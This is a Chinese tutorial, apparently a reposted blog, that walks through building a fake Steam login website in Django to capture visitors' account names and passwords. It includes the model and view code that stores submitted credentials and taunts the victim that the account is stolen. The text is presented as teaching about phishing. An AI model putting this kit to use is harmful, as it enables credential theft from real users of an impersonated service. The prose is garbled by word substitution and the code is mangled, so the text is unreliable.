他们日常生活玩游戏的这时候,常常会遇到许多木马病毒的中文网站,或是是自己发许多镜像给你,里头的文本是许多能完全免费网购中文网站的代金券、格斗游戏官网上能完全免费申领眼部、折扣的格斗游戏。

那些木马病毒中文网站标准化的目地都是要你登入帐号输出公钥,点选登入,但是是总有一天会提示重要信息你公钥严重错误,登入不来。但你输出的大部份重要信息,单厢再次出现在自己的笔记本电脑上

那些中文网站木马病毒中文网站或许能骗得过自己,原因在于做得基本上和映像的官方中文网站没甚么差异。无法说不无差异,根本无法说是十分相似

自动草稿

而那时,他们的目地是构筑两个这种的中文网站后端,单纯的还原成呵呵你被木马病毒的操作过程

自动草稿

自然环境构筑

加装Django组件

pipinstalldjango[==版本]

如:pip install django==3.0

加装django的指定版本

创建Django项目

在命令指示符里数据命令

django-admin startproject steam_web
自动草稿

manage.py是命令文件,如果要运行Django内置的命令,必须要通过这个文件才行

创建子应用

把中文网站的各个组件拆分成子应用

pythonmanage.pystartapplogin
自动草稿

会生成两个login文件,打开文件

自动草稿
自动草稿

介绍下他们会用到的文件

models.py文件:数据模型

views.py文件:用来控制页面逻辑

查看项目是否自然环境配置成功

能用pycharm直接打开文件,然后点选运行

自动草稿

运行后会给出一段域名,点选打开

自动草稿

如果再次出现下面的页面,就说明该项目自然环境配置成功了

自动草稿
自动草稿

开始实现功能

点选进入settings.py文件,进行定制化修改

自动草稿

Application definition 中文网站子应用进行注册,在最后一行写入login

Application definition中文网站子应用进行注册INSTALLED_APPS= [django.contrib.admin,django.contrib.auth,django.contrib.contenttypes,django.contrib.sessions,django.contrib.messages,django.contrib.staticfiles,login,
]

创建两个templates文件,并修改代码

templates 文件夹的配置项TEMPLATES = [
    {BACKEND:django.template.backends.django.DjangoTemplates,DIRS: [os.path.join(BASE_DIR,templates)],APP_DIRS: True,OPTIONS: {context_processors: [django.template.context_processors.debug,django.template.context_processors.request,django.contrib.auth.context_processors.auth,django.contrib.messages.context_processors.messages,
            ],
        },
    },
]

配置中文网站默认语言、时间

中文网站默认语言 英文 修改成中文LANGUAGE_CODE=zh-hans当前时间TIME_ZONE=Asia/ShanghaiUSE_I18N=TrueUSE_L10N=TrueUSE_TZ=False

最后在刷新中文网站页面,就变成了中文

自动草稿

静态页面当中的文件夹配置,并在总目录中创建两个static文件夹

STATIC_URL =/static/STATICFILES_DIRS = [os.path.join(BASE_DIR,static),
]

导入所需文件

自动草稿
自动草稿
自动草稿

开始编写数据模型

打开**models.py文件,需要去创建两个模型类

fromdjango.dbimportmodelsCreate your models here.classUser(models.Model):name = models.CharField(max_length=20)
    pwd = models.CharField(max_length=20)

编写视图

打开views.py文件,编写视图,是控制中文网站与用户的交互逻辑

渲染html文件到浏览器的fromdjango.shortcutsimportrenderfromdjango.views.genericimportViewfrom.modelsimportUserfromdjango.httpimportHttpResponseCreate your views here.在浏览器中显示中文网站首页defindex(request):returnrender(request,index.html)登入类视图classLogin(View):defget(self, request):returnrender(request,denlu.html, locals())当用户在页面中输出了许多数据
    能使用post去做接收defpost(self, request):name = request.POST.get(username)
        pwd = request.POST.get(password)

        User.objects.create(name=name, pwd=pwd).save()
        print(name)
        print(pwd)returnHttpResponse(你的帐号已经失窃, 溜了 溜了~)

在urls.py文件里编写路由

fromdjango.contribimportadminfromdjango.urlsimportpathfromlogin.viewsimportindex, Login

urlpatterns = [
    path(admin/, admin.site.urls),
    path(, index, name=index),
    path(login/, Login.as_view(), name=login)
]

同步数据库

因为只是个教学,所以用是自带的:sqlite3,文件型小型数据库

自动草稿

点选打开后,在这里输出makemigrations,这是将数据模型中的字段编译成两个Python的脚本,包含了sql语言

自动草稿

确定后会给你生成两个0001_initial.py文件

然后在执行脚本,输出 migrate 将数据模型映射到数据库中

自动草稿
自动草稿

运行文件,效果如下图

自动草稿

选择点选登入,输出帐号公钥,点选确定

自动草稿
自动草稿

然后你的帐号公钥会被打印出来

自动草稿
自动草稿
1.本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2.分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3.不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4.本站提供的源码、模板、插件等其他资源,都不包含技术服务请大家谅解!
5.如有链接无法下载或失效,请联系管理员处理!
6.本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!